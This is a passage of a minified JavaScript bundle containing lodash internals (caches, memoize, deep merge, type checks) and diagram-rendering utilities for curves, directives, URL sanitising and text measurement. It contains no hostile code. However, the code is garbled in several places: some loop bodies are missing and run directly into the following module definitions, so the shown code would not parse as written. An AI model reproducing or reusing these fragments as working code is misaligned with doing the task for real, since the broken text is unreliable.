d=a.append("text").attr("x",s+u/2).attr("y",l+h/2+5).style("text-anchor","middle").text(i);n(d,f)}o(t,"byText");function e(i,a,s,l,u,h,f,d){let{fontSize:p,fontFamily:m,fontWeight:g}=d,y=i.split(tt.lineBreakRegex);for(let v=0;v{"use strict";i7e=typeof global=="object"&&global&&global.Object===Object&&global,uT=i7e});var a7e,s7e,hi,Mo=N(()=>{"use strict";pL();a7e=typeof self=="object"&&self&&self.Object===Object&&self,s7e=uT||a7e||Function("return this")(),hi=s7e});var o7e,Ki,$d=N(()=>{"use strict";Mo();o7e=hi.Symbol,Ki=o7e});function u7e(t){var e=l7e.call(t,n2),r=t[n2];try{t[n2]=void 0;var n=!0}catch{}var i=c7e.call(t);return n&&(e?t[n2]=r:delete t[n2]),i}var Ej,l7e,c7e,n2,Sj,Cj=N(()=>{"use strict";$d();Ej=Object.prototype,l7e=Ej.hasOwnProperty,c7e=Ej.toString,n2=Ki?Ki.toStringTag:void 0;o(u7e,"getRawTag");Sj=u7e});function d7e(t){return f7e.call(t)}var h7e,f7e,Aj,_j=N(()=>{"use strict";h7e=Object.prototype,f7e=h7e.toString;o(d7e,"objectToString");Aj=d7e});function g7e(t){return t==null?t===void 0?m7e:p7e:Dj&&Dj in Object(t)?Sj(t):Aj(t)}var p7e,m7e,Dj,ha,_u=N(()=>{"use strict";$d();Cj();_j();p7e="[object Null]",m7e="[object Undefined]",Dj=Ki?Ki.toStringTag:void 0;o(g7e,"baseGetTag");ha=g7e});function y7e(t){var e=typeof t;return t!=null&&(e=="object"||e=="function")}var Sn,oo=N(()=>{"use strict";o(y7e,"isObject");Sn=y7e});function w7e(t){if(!Sn(t))return!1;var e=ha(t);return e==x7e||e==b7e||e==v7e||e==T7e}var v7e,x7e,b7e,T7e,Si,i2=N(()=>{"use strict";_u();oo();v7e="[object AsyncFunction]",x7e="[object Function]",b7e="[object GeneratorFunction]",T7e="[object Proxy]";o(w7e,"isFunction");Si=w7e});var k7e,hT,Lj=N(()=>{"use strict";Mo();k7e=hi["__core-js_shared__"],hT=k7e});function E7e(t){return!!Rj&&Rj in t}var Rj,Nj,Mj=N(()=>{"use strict";Lj();Rj=(function(){var t=/[^.]+$/.exec(hT&&hT.keys&&hT.keys.IE_PROTO||"");return t?"Symbol(src)_1."+t:""})();o(E7e,"isMasked");Nj=E7e});function A7e(t){if(t!=null){try{return C7e.call(t)}catch{}try{return t+""}catch{}}return""}var S7e,C7e,Du,mL=N(()=>{"use strict";S7e=Function.prototype,C7e=S7e.toString;o(A7e,"toSource");Du=A7e});function O7e(t){if(!Sn(t)||Nj(t))return!1;var e=Si(t)?I7e:D7e;return e.test(Du(t))}var _7e,D7e,L7e,R7e,N7e,M7e,I7e,Ij,Oj=N(()=>{"use strict";i2();Mj();oo();mL();_7e=/[\\^$.*+?()[\]{}|]/g,D7e=/^\[object .+?Constructor\]$/,L7e=Function.prototype,R7e=Object.prototype,N7e=L7e.toString,M7e=R7e.hasOwnProperty,I7e=RegExp("^"+N7e.call(M7e).replace(_7e,"\\$&").replace(/hasOwnProperty|(function).*?(?=\\\()| for .+?(?=\\\])/g,"$1.*?")+"$");o(O7e,"baseIsNative");Ij=O7e});function P7e(t,e){return t?.[e]}var Pj,Bj=N(()=>{"use strict";o(P7e,"getValue");Pj=P7e});function B7e(t,e){var r=Pj(t,e);return Ij(r)?r:void 0}var Ls,Fh=N(()=>{"use strict";Oj();Bj();o(B7e,"getNative");Ls=B7e});var F7e,Lu,a2=N(()=>{"use strict";Fh();F7e=Ls(Object,"create"),Lu=F7e});function $7e(){this.__data__=Lu?Lu(null):{},this.size=0}var Fj,$j=N(()=>{"use strict";a2();o($7e,"hashClear");Fj=$7e});function z7e(t){var e=this.has(t)&&delete this.__data__[t];return this.size-=e?1:0,e}var zj,Gj=N(()=>{"use strict";o(z7e,"hashDelete");zj=z7e});function H7e(t){var e=this.__data__;if(Lu){var r=e[t];return r===G7e?void 0:r}return U7e.call(e,t)?e[t]:void 0}var G7e,V7e,U7e,Vj,Uj=N(()=>{"use strict";a2();G7e="__lodash_hash_undefined__",V7e=Object.prototype,U7e=V7e.hasOwnProperty;o(H7e,"hashGet");Vj=H7e});function Y7e(t){var e=this.__data__;return Lu?e[t]!==void 0:W7e.call(e,t)}var q7e,W7e,Hj,qj=N(()=>{"use strict";a2();q7e=Object.prototype,W7e=q7e.hasOwnProperty;o(Y7e,"hashHas");Hj=Y7e});function j7e(t,e){var r=this.__data__;return this.size+=this.has(t)?0:1,r[t]=Lu&&e===void 0?X7e:e,this}var X7e,Wj,Yj=N(()=>{"use strict";a2();X7e="__lodash_hash_undefined__";o(j7e,"hashSet");Wj=j7e});function rm(t){var e=-1,r=t==null?0:t.length;for(this.clear();++e{"use strict";$j();Gj();Uj();qj();Yj();o(rm,"Hash");rm.prototype.clear=Fj;rm.prototype.delete=zj;rm.prototype.get=Vj;rm.prototype.has=Hj;rm.prototype.set=Wj;gL=rm});function K7e(){this.__data__=[],this.size=0}var jj,Kj=N(()=>{"use strict";o(K7e,"listCacheClear");jj=K7e});function Q7e(t,e){return t===e||t!==t&&e!==e}var Io,zd=N(()=>{"use strict";o(Q7e,"eq");Io=Q7e});function Z7e(t,e){for(var r=t.length;r--;)if(Io(t[r][0],e))return r;return-1}var $h,s2=N(()=>{"use strict";zd();o(Z7e,"assocIndexOf");$h=Z7e});function tAe(t){var e=this.__data__,r=$h(e,t);if(r<0)return!1;var n=e.length-1;return r==n?e.pop():eAe.call(e,r,1),--this.size,!0}var J7e,eAe,Qj,Zj=N(()=>{"use strict";s2();J7e=Array.prototype,eAe=J7e.splice;o(tAe,"listCacheDelete");Qj=tAe});function rAe(t){var e=this.__data__,r=$h(e,t);return r<0?void 0:e[r][1]}var Jj,eK=N(()=>{"use strict";s2();o(rAe,"listCacheGet");Jj=rAe});function nAe(t){return $h(this.__data__,t)>-1}var tK,rK=N(()=>{"use strict";s2();o(nAe,"listCacheHas");tK=nAe});function iAe(t,e){var r=this.__data__,n=$h(r,t);return n<0?(++this.size,r.push([t,e])):r[n][1]=e,this}var nK,iK=N(()=>{"use strict";s2();o(iAe,"listCacheSet");nK=iAe});function nm(t){var e=-1,r=t==null?0:t.length;for(this.clear();++e{"use strict";Kj();Zj();eK();rK();iK();o(nm,"ListCache");nm.prototype.clear=jj;nm.prototype.delete=Qj;nm.prototype.get=Jj;nm.prototype.has=tK;nm.prototype.set=nK;zh=nm});var aAe,Gh,fT=N(()=>{"use strict";Fh();Mo();aAe=Ls(hi,"Map"),Gh=aAe});function sAe(){this.size=0,this.__data__={hash:new gL,map:new(Gh||zh),string:new gL}}var aK,sK=N(()=>{"use strict";Xj();o2();fT();o(sAe,"mapCacheClear");aK=sAe});function oAe(t){var e=typeof t;return e=="string"||e=="number"||e=="symbol"||e=="boolean"?t!=="__proto__":t===null}var oK,lK=N(()=>{"use strict";o(oAe,"isKeyable");oK=oAe});function lAe(t,e){var r=t.__data__;return oK(e)?r[typeof e=="string"?"string":"hash"]:r.map}var Vh,l2=N(()=>{"use strict";lK();o(lAe,"getMapData");Vh=lAe});function cAe(t){var e=Vh(this,t).delete(t);return this.size-=e?1:0,e}var cK,uK=N(()=>{"use strict";l2();o(cAe,"mapCacheDelete");cK=cAe});function uAe(t){return Vh(this,t).get(t)}var hK,fK=N(()=>{"use strict";l2();o(uAe,"mapCacheGet");hK=uAe});function hAe(t){return Vh(this,t).has(t)}var dK,pK=N(()=>{"use strict";l2();o(hAe,"mapCacheHas");dK=hAe});function fAe(t,e){var r=Vh(this,t),n=r.size;return r.set(t,e),this.size+=r.size==n?0:1,this}var mK,gK=N(()=>{"use strict";l2();o(fAe,"mapCacheSet");mK=fAe});function im(t){var e=-1,r=t==null?0:t.length;for(this.clear();++e{"use strict";sK();uK();fK();pK();gK();o(im,"MapCache");im.prototype.clear=aK;im.prototype.delete=cK;im.prototype.get=hK;im.prototype.has=dK;im.prototype.set=mK;Gd=im});function yL(t,e){if(typeof t!="function"||e!=null&&typeof e!="function")throw new TypeError(dAe);var r=o(function(){var n=arguments,i=e?e.apply(this,n):n[0],a=r.cache;if(a.has(i))return a.get(i);var s=t.apply(this,n);return r.cache=a.set(i,s)||a,s},"memoized");return r.cache=new(yL.Cache||Gd),r}var dAe,am,vL=N(()=>{"use strict";dT();dAe="Expected a function";o(yL,"memoize");yL.Cache=Gd;am=yL});function pAe(){this.__data__=new zh,this.size=0}var yK,vK=N(()=>{"use strict";o2();o(pAe,"stackClear");yK=pAe});function mAe(t){var e=this.__data__,r=e.delete(t);return this.size=e.size,r}var xK,bK=N(()=>{"use strict";o(mAe,"stackDelete");xK=mAe});function gAe(t){return this.__data__.get(t)}var TK,wK=N(()=>{"use strict";o(gAe,"stackGet");TK=gAe});function yAe(t){return this.__data__.has(t)}var kK,EK=N(()=>{"use strict";o(yAe,"stackHas");kK=yAe});function xAe(t,e){var r=this.__data__;if(r instanceof zh){var n=r.__data__;if(!Gh||n.length{"use strict";o2();fT();dT();vAe=200;o(xAe,"stackSet");SK=xAe});function sm(t){var e=this.__data__=new zh(t);this.size=e.size}var dc,c2=N(()=>{"use strict";o2();vK();bK();wK();EK();CK();o(sm,"Stack");sm.prototype.clear=yK;sm.prototype.delete=xK;sm.prototype.get=TK;sm.prototype.has=kK;sm.prototype.set=SK;dc=sm});var bAe,om,xL=N(()=>{"use strict";Fh();bAe=(function(){try{var t=Ls(Object,"defineProperty");return t({},"",{}),t}catch{}})(),om=bAe});function TAe(t,e,r){e=="__proto__"&&om?om(t,e,{configurable:!0,enumerable:!0,value:r,writable:!0}):t[e]=r}var pc,lm=N(()=>{"use strict";xL();o(TAe,"baseAssignValue");pc=TAe});function wAe(t,e,r){(r!==void 0&&!Io(t[e],r)||r===void 0&&!(e in t))&&pc(t,e,r)}var u2,bL=N(()=>{"use strict";lm();zd();o(wAe,"assignMergeValue");u2=wAe});function kAe(t){return function(e,r,n){for(var i=-1,a=Object(e),s=n(e),l=s.length;l--;){var u=s[t?l:++i];if(r(a[u],u,a)===!1)break}return e}}var AK,_K=N(()=>{"use strict";o(kAe,"createBaseFor");AK=kAe});var EAe,cm,pT=N(()=>{"use strict";_K();EAe=AK(),cm=EAe});function CAe(t,e){if(e)return t.slice();var r=t.length,n=RK?RK(r):new t.constructor(r);return t.copy(n),n}var NK,DK,SAe,LK,RK,mT,TL=N(()=>{"use strict";Mo();NK=typeof exports=="object"&&exports&&!exports.nodeType&&exports,DK=NK&&typeof module=="object"&&module&&!module.nodeType&&module,SAe=DK&&DK.exports===NK,LK=SAe?hi.Buffer:void 0,RK=LK?LK.allocUnsafe:void 0;o(CAe,"cloneBuffer");mT=CAe});var AAe,um,wL=N(()=>{"use strict";Mo();AAe=hi.Uint8Array,um=AAe});function _Ae(t){var e=new t.constructor(t.byteLength);return new um(e).set(new um(t)),e}var hm,gT=N(()=>{"use strict";wL();o(_Ae,"cloneArrayBuffer");hm=_Ae});function DAe(t,e){var r=e?hm(t.buffer):t.buffer;return new t.constructor(r,t.byteOffset,t.length)}var yT,kL=N(()=>{"use strict";gT();o(DAe,"cloneTypedArray");yT=DAe});function LAe(t,e){var r=-1,n=t.length;for(e||(e=Array(n));++r{"use strict";o(LAe,"copyArray");vT=LAe});var MK,RAe,IK,OK=N(()=>{"use strict";oo();MK=Object.create,RAe=(function(){function t(){}return o(t,"object"),function(e){if(!Sn(e))return{};if(MK)return MK(e);t.prototype=e;var r=new t;return t.prototype=void 0,r}})(),IK=RAe});function NAe(t,e){return function(r){return t(e(r))}}var xT,SL=N(()=>{"use strict";o(NAe,"overArg");xT=NAe});var MAe,fm,bT=N(()=>{"use strict";SL();MAe=xT(Object.getPrototypeOf,Object),fm=MAe});function OAe(t){var e=t&&t.constructor,r=typeof e=="function"&&e.prototype||IAe;return t===r}var IAe,mc,dm=N(()=>{"use strict";IAe=Object.prototype;o(OAe,"isPrototype");mc=OAe});function PAe(t){return typeof t.constructor=="function"&&!mc(t)?IK(fm(t)):{}}var TT,CL=N(()=>{"use strict";OK();bT();dm();o(PAe,"initCloneObject");TT=PAe});function BAe(t){return t!=null&&typeof t=="object"}var ai,Oo=N(()=>{"use strict";o(BAe,"isObjectLike");ai=BAe});function $Ae(t){return ai(t)&&ha(t)==FAe}var FAe,AL,PK=N(()=>{"use strict";_u();Oo();FAe="[object Arguments]";o($Ae,"baseIsArguments");AL=$Ae});var BK,zAe,GAe,VAe,_l,pm=N(()=>{"use strict";PK();Oo();BK=Object.prototype,zAe=BK.hasOwnProperty,GAe=BK.propertyIsEnumerable,VAe=AL((function(){return arguments})())?AL:function(t){return ai(t)&&zAe.call(t,"callee")&&!GAe.call(t,"callee")},_l=VAe});var UAe,Bt,Yn=N(()=>{"use strict";UAe=Array.isArray,Bt=UAe});function qAe(t){return typeof t=="number"&&t>-1&&t%1==0&&t<=HAe}var HAe,mm,wT=N(()=>{"use strict";HAe=9007199254740991;o(qAe,"isLength");mm=qAe});function WAe(t){return t!=null&&mm(t.length)&&!Si(t)}var fi,Po=N(()=>{"use strict";i2();wT();o(WAe,"isArrayLike");fi=WAe});function YAe(t){return ai(t)&&fi(t)}var Vd,kT=N(()=>{"use strict";Po();Oo();o(YAe,"isArrayLikeObject");Vd=YAe});function XAe(){return!1}var FK,$K=N(()=>{"use strict";o(XAe,"stubFalse");FK=XAe});var VK,zK,jAe,GK,KAe,QAe,Dl,gm=N(()=>{"use strict";Mo();$K();VK=typeof exports=="object"&&exports&&!exports.nodeType&&exports,zK=VK&&typeof module=="object"&&module&&!module.nodeType&&module,jAe=zK&&zK.exports===VK,GK=jAe?hi.Buffer:void 0,KAe=GK?GK.isBuffer:void 0,QAe=KAe||FK,Dl=QAe});function n8e(t){if(!ai(t)||ha(t)!=ZAe)return!1;var e=fm(t);if(e===null)return!0;var r=t8e.call(e,"constructor")&&e.constructor;return typeof r=="function"&&r instanceof r&&UK.call(r)==r8e}var ZAe,JAe,e8e,UK,t8e,r8e,HK,qK=N(()=>{"use strict";_u();bT();Oo();ZAe="[object Object]",JAe=Function.prototype,e8e=Object.prototype,UK=JAe.toString,t8e=e8e.hasOwnProperty,r8e=UK.call(Object);o(n8e,"isPlainObject");HK=n8e});function _8e(t){return ai(t)&&mm(t.length)&&!!Gn[ha(t)]}var i8e,a8e,s8e,o8e,l8e,c8e,u8e,h8e,f8e,d8e,p8e,m8e,g8e,y8e,v8e,x8e,b8e,T8e,w8e,k8e,E8e,S8e,C8e,A8e,Gn,WK,YK=N(()=>{"use strict";_u();wT();Oo();i8e="[object Arguments]",a8e="[object Array]",s8e="[object Boolean]",o8e="[object Date]",l8e="[object Error]",c8e="[object Function]",u8e="[object Map]",h8e="[object Number]",f8e="[object Object]",d8e="[object RegExp]",p8e="[object Set]",m8e="[object String]",g8e="[object WeakMap]",y8e="[object ArrayBuffer]",v8e="[object DataView]",x8e="[object Float32Array]",b8e="[object Float64Array]",T8e="[object Int8Array]",w8e="[object Int16Array]",k8e="[object Int32Array]",E8e="[object Uint8Array]",S8e="[object Uint8ClampedArray]",C8e="[object Uint16Array]",A8e="[object Uint32Array]",Gn={};Gn[x8e]=Gn[b8e]=Gn[T8e]=Gn[w8e]=Gn[k8e]=Gn[E8e]=Gn[S8e]=Gn[C8e]=Gn[A8e]=!0;Gn[i8e]=Gn[a8e]=Gn[y8e]=Gn[s8e]=Gn[v8e]=Gn[o8e]=Gn[l8e]=Gn[c8e]=Gn[u8e]=Gn[h8e]=Gn[f8e]=Gn[d8e]=Gn[p8e]=Gn[m8e]=Gn[g8e]=!1;o(_8e,"baseIsTypedArray");WK=_8e});function D8e(t){return function(e){return t(e)}}var Bo,Ud=N(()=>{"use strict";o(D8e,"baseUnary");Bo=D8e});var XK,h2,L8e,_L,R8e,Fo,f2=N(()=>{"use strict";pL();XK=typeof exports=="object"&&exports&&!exports.nodeType&&exports,h2=XK&&typeof module=="object"&&module&&!module.nodeType&&module,L8e=h2&&h2.exports===XK,_L=L8e&&uT.process,R8e=(function(){try{var t=h2&&h2.require&&h2.require("util").types;return t||_L&&_L.binding&&_L.binding("util")}catch{}})(),Fo=R8e});var jK,N8e,Uh,d2=N(()=>{"use strict";YK();Ud();f2();jK=Fo&&Fo.isTypedArray,N8e=jK?Bo(jK):WK,Uh=N8e});function M8e(t,e){if(!(e==="constructor"&&typeof t[e]=="function")&&e!="__proto__")return t[e]}var p2,DL=N(()=>{"use strict";o(M8e,"safeGet");p2=M8e});function P8e(t,e,r){var n=t[e];(!(O8e.call(t,e)&&Io(n,r))||r===void 0&&!(e in t))&&pc(t,e,r)}var I8e,O8e,gc,ym=N(()=>{"use strict";lm();zd();I8e=Object.prototype,O8e=I8e.hasOwnProperty;o(P8e,"assignValue");gc=P8e});function B8e(t,e,r,n){var i=!r;r||(r={});for(var a=-1,s=e.length;++a{"use strict";ym();lm();o(B8e,"copyObject");$o=B8e});function F8e(t,e){for(var r=-1,n=Array(t);++r{"use strict";o(F8e,"baseTimes");KK=F8e});function G8e(t,e){var r=typeof t;return e=e??$8e,!!e&&(r=="number"||r!="symbol"&&z8e.test(t))&&t>-1&&t%1==0&&t{"use strict";$8e=9007199254740991,z8e=/^(?:0|[1-9]\d*)$/;o(G8e,"isIndex");Hh=G8e});function H8e(t,e){var r=Bt(t),n=!r&&_l(t),i=!r&&!n&&Dl(t),a=!r&&!n&&!i&&Uh(t),s=r||n||i||a,l=s?KK(t.length,String):[],u=l.length;for(var h in t)(e||U8e.call(t,h))&&!(s&&(h=="length"||i&&(h=="offset"||h=="parent")||a&&(h=="buffer"||h=="byteLength"||h=="byteOffset")||Hh(h,u)))&&l.push(h);return l}var V8e,U8e,ET,LL=N(()=>{"use strict";QK();pm();Yn();gm();m2();d2();V8e=Object.prototype,U8e=V8e.hasOwnProperty;o(H8e,"arrayLikeKeys");ET=H8e});function q8e(t){var e=[];if(t!=null)for(var r in Object(t))e.push(r);return e}var ZK,JK=N(()=>{"use strict";o(q8e,"nativeKeysIn");ZK=q8e});function X8e(t){if(!Sn(t))return ZK(t);var e=mc(t),r=[];for(var n in t)n=="constructor"&&(e||!Y8e.call(t,n))||r.push(n);return r}var W8e,Y8e,eQ,tQ=N(()=>{"use strict";oo();dm();JK();W8e=Object.prototype,Y8e=W8e.hasOwnProperty;o(X8e,"baseKeysIn");eQ=X8e});function j8e(t){return fi(t)?ET(t,!0):eQ(t)}var Rs,qh=N(()=>{"use strict";LL();tQ();Po();o(j8e,"keysIn");Rs=j8e});function K8e(t){return $o(t,Rs(t))}var rQ,nQ=N(()=>{"use strict";Hd();qh();o(K8e,"toPlainObject");rQ=K8e});function Q8e(t,e,r,n,i,a,s){var l=p2(t,r),u=p2(e,r),h=s.get(u);if(h){u2(t,r,h);return}var f=a?a(l,u,r+"",t,e,s):void 0,d=f===void 0;if(d){var p=Bt(u),m=!p&&Dl(u),g=!p&&!m&&Uh(u);f=u,p||m||g?Bt(l)?f=l:Vd(l)?f=vT(l):m?(d=!1,f=mT(u,!0)):g?(d=!1,f=yT(u,!0)):f=[]:HK(u)||_l(u)?(f=l,_l(l)?f=rQ(l):(!Sn(l)||Si(l))&&(f=TT(u))):d=!1}d&&(s.set(u,f),i(f,u,n,a,s),s.delete(u)),u2(t,r,f)}var iQ,aQ=N(()=>{"use strict";bL();TL();kL();EL();CL();pm();Yn();kT();gm();i2();oo();qK();d2();DL();nQ();o(Q8e,"baseMergeDeep");iQ=Q8e});function sQ(t,e,r,n,i){t!==e&&cm(e,function(a,s){if(i||(i=new dc),Sn(a))iQ(t,e,s,r,sQ,n,i);else{var l=n?n(p2(t,s),a,s+"",t,e,i):void 0;l===void 0&&(l=a),u2(t,s,l)}},Rs)}var oQ,lQ=N(()=>{"use strict";c2();bL();pT();aQ();oo();qh();DL();o(sQ,"baseMerge");oQ=sQ});function Z8e(t){return t}var Qi,Ru=N(()=>{"use strict";o(Z8e,"identity");Qi=Z8e});function J8e(t,e,r){switch(r.length){case 0:return t.call(e);case 1:return t.call(e,r[0]);case 2:return t.call(e,r[0],r[1]);case 3:return t.call(e,r[0],r[1],r[2])}return t.apply(e,r)}var cQ,uQ=N(()=>{"use strict";o(J8e,"apply");cQ=J8e});function e_e(t,e,r){return e=hQ(e===void 0?t.length-1:e,0),function(){for(var n=arguments,i=-1,a=hQ(n.length-e,0),s=Array(a);++i{"use strict";uQ();hQ=Math.max;o(e_e,"overRest");ST=e_e});function t_e(t){return function(){return t}}var Ns,NL=N(()=>{"use strict";o(t_e,"constant");Ns=t_e});var r_e,fQ,dQ=N(()=>{"use strict";NL();xL();Ru();r_e=om?function(t,e){return om(t,"toString",{configurable:!0,enumerable:!1,value:Ns(e),writable:!0})}:Qi,fQ=r_e});function s_e(t){var e=0,r=0;return function(){var n=a_e(),i=i_e-(n-r);if(r=n,i>0){if(++e>=n_e)return arguments[0]}else e=0;return t.apply(void 0,arguments)}}var n_e,i_e,a_e,pQ,mQ=N(()=>{"use strict";n_e=800,i_e=16,a_e=Date.now;o(s_e,"shortOut");pQ=s_e});var o_e,CT,ML=N(()=>{"use strict";dQ();mQ();o_e=pQ(fQ),CT=o_e});function l_e(t,e){return CT(ST(t,e,Qi),t+"")}var yc,vm=N(()=>{"use strict";Ru();RL();ML();o(l_e,"baseRest");yc=l_e});function c_e(t,e,r){if(!Sn(r))return!1;var n=typeof e;return(n=="number"?fi(r)&&Hh(e,r.length):n=="string"&&e in r)?Io(r[e],t):!1}var lo,qd=N(()=>{"use strict";zd();Po();m2();oo();o(c_e,"isIterateeCall");lo=c_e});function u_e(t){return yc(function(e,r){var n=-1,i=r.length,a=i>1?r[i-1]:void 0,s=i>2?r[2]:void 0;for(a=t.length>3&&typeof a=="function"?(i--,a):void 0,s&&lo(r[0],r[1],s)&&(a=i<3?void 0:a,i=1),e=Object(e);++n{"use strict";vm();qd();o(u_e,"createAssigner");AT=u_e});var h_e,Wh,OL=N(()=>{"use strict";lQ();IL();h_e=AT(function(t,e,r){oQ(t,e,r)}),Wh=h_e});function FL(t,e){if(!t)return e;let r=`curve${t.charAt(0).toUpperCase()+t.slice(1)}`;return f_e[r]??e}function g_e(t,e){let r=t.trim();if(r)return e.securityLevel!=="loose"?(0,vQ.sanitizeUrl)(r):r}function TQ(t,e){return!t||!e?0:Math.sqrt(Math.pow(e.x-t.x,2)+Math.pow(e.y-t.y,2))}function v_e(t){let e,r=0;t.forEach(i=>{r+=TQ(i,e),e=i});let n=r/2;return $L(t,n)}function x_e(t){return t.length===1?t[0]:v_e(t)}function T_e(t,e,r){let n=structuredClone(r);X.info("our points",n),e!=="start_left"&&e!=="start_right"&&n.reverse();let i=25+t,a=$L(n,i),s=10+t*.5,l=Math.atan2(n[0].y-a.y,n[0].x-a.x),u={x:0,y:0};return e==="start_left"?(u.x=Math.sin(l+Math.PI)*s+(n[0].x+a.x)/2,u.y=-Math.cos(l+Math.PI)*s+(n[0].y+a.y)/2):e==="end_right"?(u.x=Math.sin(l-Math.PI)*s+(n[0].x+a.x)/2-5,u.y=-Math.cos(l-Math.PI)*s+(n[0].y+a.y)/2-5):e==="end_left"?(u.x=Math.sin(l)*s+(n[0].x+a.x)/2-5,u.y=-Math.cos(l)*s+(n[0].y+a.y)/2-5):(u.x=Math.sin(l)*s+(n[0].x+a.x)/2,u.y=-Math.cos(l)*s+(n[0].y+a.y)/2),u}function zL(t){let e="",r="";for(let n of t)n!==void 0&&(n.startsWith("color:")||n.startsWith("text-align:")?r=r+n+";":e=e+n+";");return{style:e,labelStyle:r}}function w_e(t){let e="",r="0123456789abcdef",n=r.length;for(let i=0;iMath.round(parseFloat(a)).toString());return i.includes(r.toString())||i.includes(n.toString())}var vQ,BL,f_e,d_e,p_e,xQ,bQ,m_e,y_e,gQ,$L,b_e,yQ,GL,VL,k_e,E_e,UL,S_e,HL,PL,_T,C_e,A_e,vc,qt,wQ,Ji,xc,tr=N(()=>{"use strict";vQ=ja(tm(),1);yr();gr();S7();pt();vd();v0();vL();OL();F3();BL="\u200B",f_e={curveBasis:No,curveBasisClosed:K5,curveBasisOpen:Q5,curveBumpX:Vv,curveBumpY:Uv,curveBundle:tL,curveCardinalClosed:rL,curveCardinalOpen:iL,curveCardinal:Yv,curveCatmullRomClosed:sL,curveCatmullRomOpen:oL,curveCatmullRom:Kv,curveLinear:Cu,curveLinearClosed:rT,curveMonotoneX:Qv,curveMonotoneY:Zv,curveNatural:J0,curveStep:em,curveStepAfter:e2,curveStepBefore:Jv},d_e=/\s*(?:(\w+)(?=:):|(\w+))\s*(?:(\w+)|((?:(?!}%{2}).|\r?\n)*))?\s*(?:}%{2})?/gi,p_e=o(function(t,e){let r=xQ(t,/(?:init\b)|(?:initialize\b)/),n={};if(Array.isArray(r)){let s=r.map(l=>l.args);b0(s),n=Rn(n,[...s])}else n=r.args;if(!n)return;let i=_0(t,e),a="config";return n[a]!==void 0&&(i==="flowchart-v2"&&(i="flowchart"),n[i]=n[a],delete n[a]),n},"detectInit"),xQ=o(function(t,e=null){try{let r=new RegExp(`[%]{2}(?![{]${d_e.source})(?=[}][%]{2}).* +`,"ig");t=t.trim().replace(r,"").replace(/'/gm,'"'),X.debug(`Detecting diagram directive${e!==null?" type:"+e:""} based on the text:${t}`);let n,i=[];for(;(n=yd.exec(t))!==null;)if(n.index===yd.lastIndex&&yd.lastIndex++,n&&!e||e&&n[1]?.match(e)||e&&n[2]?.match(e)){let a=n[1]?n[1]:n[2],s=n[3]?n[3].trim():n[4]?JSON.parse(n[4].trim()):null;i.push({type:a,args:s})}return i.length===0?{type:t,args:null}:i.length===1?i[0]:i}catch(r){return X.error(`ERROR: ${r.message} - Unable to parse directive type: '${e}' based on the text: '${t}'`),{type:void 0,args:null}}},"detectDirective"),bQ=o(function(t){return t.replace(yd,"")},"removeDirectives"),m_e=o(function(t,e){for(let[r,n]of e.entries())if(n.match(t))return r;return-1},"isSubstringInArray");o(FL,"interpolateToCurve");o(g_e,"formatUrl");y_e=o((t,...e)=>{let r=t.split("."),n=r.length-1,i=r[n],a=window;for(let s=0;s{let r=Math.pow(10,e);return Math.round(t*r)/r},"roundNumber"),$L=o((t,e)=>{let r,n=e;for(let i of t){if(r){let a=TQ(i,r);if(a===0)return r;if(a=1)return{x:i.x,y:i.y};if(s>0&&s<1)return{x:gQ((1-s)*r.x+s*i.x,5),y:gQ((1-s)*r.y+s*i.y,5)}}}r=i}throw new Error("Could not find a suitable point for the given distance")},"calculatePoint"),b_e=o((t,e,r)=>{X.info(`our points ${JSON.stringify(e)}`),e[0]!==r&&(e=e.reverse());let i=$L(e,25),a=t?10:5,s=Math.atan2(e[0].y-i.y,e[0].x-i.x),l={x:0,y:0};return l.x=Math.sin(s)*a+(e[0].x+i.x)/2,l.y=-Math.cos(s)*a+(e[0].y+i.y)/2,l},"calcCardinalityPosition");o(T_e,"calcTerminalLabelPosition");o(zL,"getStylesFromArray");yQ=0,GL=o(()=>(yQ++,"id-"+Math.random().toString(36).substr(2,12)+"-"+yQ),"generateId");o(w_e,"makeRandomHex");VL=o(t=>w_e(t.length),"random"),k_e=o(function(){return{x:0,y:0,fill:void 0,anchor:"start",style:"#666",width:100,height:100,textMargin:0,rx:0,ry:0,valign:void 0,text:""}},"getTextObj"),E_e=o(function(t,e){let r=e.text.replace(tt.lineBreakRegex," "),[,n]=vc(e.fontSize),i=t.append("text");i.attr("x",e.x),i.attr("y",e.y),i.style("text-anchor",e.anchor),i.style("font-family",e.fontFamily),i.style("font-size",n),i.style("font-weight",e.fontWeight),i.attr("fill",e.fill),e.class!==void 0&&i.attr("class",e.class);let a=i.append("tspan");return a.attr("x",e.x+e.textMargin*2),a.attr("fill",e.fill),a.text(r),i},"drawSimpleText"),UL=am((t,e,r)=>{if(!t||(r=Object.assign({fontSize:12,fontWeight:400,fontFamily:"Arial",joinWith:"
    "},r),tt.lineBreakRegex.test(t)))return t;let n=t.split(" ").filter(Boolean),i=[],a="";return n.forEach((s,l)=>{let u=Zi(`${s} `,r),h=Zi(a,r);if(u>e){let{hyphenatedStrings:p,remainingWord:m}=S_e(s,e,"-",r);i.push(a,...p),a=m}else h+u>=e?(i.push(a),a=s):a=[a,s].filter(Boolean).join(" ");l+1===n.length&&i.push(a)}),i.filter(s=>s!=="").join(r.joinWith)},(t,e,r)=>`${t}${e}${r.fontSize}${r.fontWeight}${r.fontFamily}${r.joinWith}`),S_e=am((t,e,r="-",n)=>{n=Object.assign({fontSize:12,fontWeight:400,fontFamily:"Arial",margin:0},n);let i=[...t],a=[],s="";return i.forEach((l,u)=>{let h=`${s}${l}`;if(Zi(h,n)>=e){let d=u+1,p=i.length===d,m=`${h}${r}`;a.push(p?h:m),s=""}else s=h}),{hyphenatedStrings:a,remainingWord:s}},(t,e,r="-",n)=>`${t}${e}${r}${n.fontSize}${n.fontWeight}${n.fontFamily}`);o(DT,"calculateTextHeight");o(Zi,"calculateTextWidth");HL=am((t,e)=>{let{fontSize:r=12,fontFamily:n="Arial",fontWeight:i=400}=e;if(!t)return{width:0,height:0};let[,a]=vc(r),s=["sans-serif",n],l=t.split(tt.lineBreakRegex),u=[],h=qe("body");if(!h.remove)return{width:0,height:0,lineHeight:0};let f=h.append("svg");for(let p of s){let m=0,g={width:0,height:0,lineHeight:0};for(let y of l){let v=k_e();v.text=y||BL;let x=E_e(f,v).style("font-size",a).style("font-weight",i).style("font-family",p),b=(x._groups||x)[0][0].getBBox();if(b.width===0&&b.height===0)throw new Error("svg element not in render tree");g.width=Math.round(Math.max(g.width,b.width)),m=Math.round(b.height),g.height+=m,g.lineHeight=Math.round(Math.max(g.lineHeight,m))}u.push(g)}f.remove();let 